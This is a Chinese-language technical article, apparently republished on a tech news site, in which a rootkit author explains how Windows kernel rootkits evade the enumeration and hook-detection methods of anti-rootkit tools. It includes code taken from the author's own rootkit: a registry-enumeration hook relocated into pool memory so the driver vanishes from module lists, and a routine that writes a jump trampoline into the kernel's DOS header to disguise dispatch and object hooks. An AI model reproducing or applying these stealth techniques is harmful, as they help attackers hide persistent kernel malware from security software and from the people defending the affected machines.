扫一扫
分享文章到微信
扫一扫
关注官方公众号
至顶头条
目前的anti-rootkit工具中,对于内核模块主要采用如下几种扫描方式:
1.恢复ZwQuerySystemInformation的hook,然后利用功能号SystemModuleInformation进行枚举,例如Icesword。
2.遍历PsLoadModuleList,Driver/Device/Section Object链,或者TypeList链等(总之是找驱动相关对象)进行枚举,例如Rootkit Unhooker,Gmer等。
3.内核镜象暴力搜索,搜索MZ,PE等等标志结合进行判断内存里是否有PE镜象,如rootkit unhooker,rutkowska的modgreper等,通常只能显示为unknow image
4.函数引用,各种routine\hook等,先HOOK一些常用函数,然后当驱动去调用这些函数时,记下其地址,检测时使用,或者是根据各种routine(dispatch routine,IDT,Image Notfiy等)或各种hook(inline hook,iat/eat hook等等),通常只能显示为unknow image或unknow xxx handler等
5.使用系统ImageLoad Notfiy,使用一个BOOT驱动,记录所有模块load的消息,检测时进行分析 如AVG Anti-rootkit等
先说绕过1,2,3,5的办法
很简单,使用诸如ZwSetSystemInformation的函数加载驱动,然后在DriverEntry中分配NonPagedPool的内存,然后将功能代码/函数copy到该内存中,然后进行必要的HOOK,最后返回STATUS_UNSUCCESSFULL.
这样驱动在PsLoadModuleList、各种对象链里就消失了,自然也就不存在于ZwQuerySystemInformation枚举的列表里。需要注意的是,copy到内存中的代码要尽量简单,基本不会生成需要重定位的代码了,但调用系统函数还是要另想办法。我的某个RK里是这样做的,例如A Function用来hook 系统函数B,其中需要调用系统函数C,那么分配一块内存,大小= len(A) + sizeof(ULONG) * 2
在内存的前两个DWORD放OrgB,以及C的地址,后面开始放函数代码,函数中使用call +5 对自身的位置进行定位,找到内存开始的位置,然后得到OrgB和C。当然也可以在COPY入内存前自己用绝对地址定位函数~不过不如这个方法灵活
相关代码:
以下是代码片段: //hook call CmEnumerateValueKey void InstallCMRegHook() { PVOID _CmEnumerateKeyValueLoc ; _CmEnumerateKeyValueLoc = FindCmEnumerateValueKey(); //找到 call CmEnumerateValueKey HookCodeLen = (ULONG)NopFunc8 - (ULONG)NewCmEnumerateValueKey ; //获得NewCmEnumerateValueKey长度 HookCode3 = ExAllocatePoolWithTag(NonPagedPool , HookCodeLen + 4 , MEM_TAG_HOOKCODE3); //分配内存 *(ULONG*)HookCode3 = *(ULONG*)_CmEnumerateKeyValueLoc ; //原函数地址放入内存 RtlCopyMemory((PVOID)HookCode3 + sizeof(ULONG) , (PVOID)NewCmEnumerateValueKey ,HookCodeLen); //copy函数代码 DO_SPINLOCK(); *(ULONG*)_CmEnumerateValueKeyLoc = HookCode3 + sizeof(ULONG); //进行HOOK EXIT_SPINLOCK(); return ; } NTSTATUS NewCmEnumearateValueKey(IN PVOID KeyControlBlock, IN ULONG Index, IN KEY_VALUE_INFORMATION_CLASS KeyValueInformationClass, IN PVOID KeyValueInformation, IN ULONG KeyLength, IN PULONG ResultLength ) { //下面找到本函数开始地址,并获得保存在内存中的OrgCmEnumerateValueKey的地址 __asm { push eax call __ __: POP eax SUB eax,offset __ add eax,offset NewCmEnumearateValueKey ;获得函数开始地址 sub eax,4 mov eax,[eax] ;获得OrgCmEnumerateValueKey push ResultLength push KeyLength push KeyValueInformation push KeyValueInformationClass push Index push KeyControlBlock call eax mov stat, eax ;调用原始函数 pop eax } //.....其他处理 // //..... } void NopFunc8() { __asm { nop nop nop } return ; } //上面这个NopFunc用于NewCmEumerateValueKey函数长度定位 |
1.Hook常用函数:这个很简单了,恢复自己要用的函数~或者压根就不用那些函数,HOOK代码大部分都是数据过滤/处理部分,所以完全可以一个系统函数也不调...
2.各种routine检测,这个可以用多次跳转方式搞定,例如Dispatch hook,因为获取各种DRIVER的DISPATCH 原始地址没有比较通用的方法,所以检测dispatch是否被HOOK的方式通常都是检测其地址是否在其模块的Code Section中(类似的还有object hook,pxxxx hook等),使用此方法的例如rootkit unhooker, gmer等。只要我们先使用这样的方法,就可以绕过检测,让Anti-rootkit工具不知道是我们的模块HOOK了这里:
先将dispatch地址跳转到code section中不用的部分,5个字节就足够了,然后在这5个字节里使用jmp指令再跳到我们的模块里,这样Anti-rootkit工具检测时,就会发现dispatch routine仍然在该模块的code section中,通过这种方法也可以绕过对dispatch hook\object hook的检测。
inline hook/iat/eat hook也可以用类似的方法来躲过模块检测,不过无法避免HOOK被检测到。
即使Anti-rootkit工具使用更复杂的算法,对各个routine进行深度代码级扫描,我们也可以通过复杂逻辑/代码,将我们的最后跳转地址藏起来。
一个简单的双段跳绕过object hook检测的代码:
object hook方法因为未被公开过,故细节略去,方便起见,没有写找code section的代码,直接将跳转代码写到了ntoskrnl的DOS Header中
同样来自于我的某RK:
以下是代码片段: ULONG InsideHookCode(ULONG NewAddress , ULONG BaseCode ) { //该函数用于将hook代码转接到模块的DOS头中 //in :NewAddress: real hookcode to jump //in :ModuleName: kernel module base address to inject //out :NewJump Address ULONG TempCode = BaseCode ; TempCode = TempCode + sizeof(IMAGE_DOS_HEADER) ; //into DOS stub DO_SPINLOCK(); WPOFF(); *(BYTE*)TempCode = 0xe9 ; __asm { push eax push ecx mov ecx, TempCode mov eax, NewAddress sub eax, ecx sub eax, 5 mov dword ptr[ecx+1] , eax pop ecx pop eax } WPON(); EXIT_SPINLOCK(); //write jmp NewAddress into DOS stub return TempCode ; } |
如果您非常迫切的想了解IT领域最新产品与技术信息,那么订阅至顶网技术邮件将是您的最佳途径之一。
现场直击|2021世界人工智能大会
直击5G创新地带,就在2021MWC上海
5G已至 转型当时——服务提供商如何把握转型的绝佳时机
寻找自己的Flag
华为开发者大会2020(Cloud)- 科技行者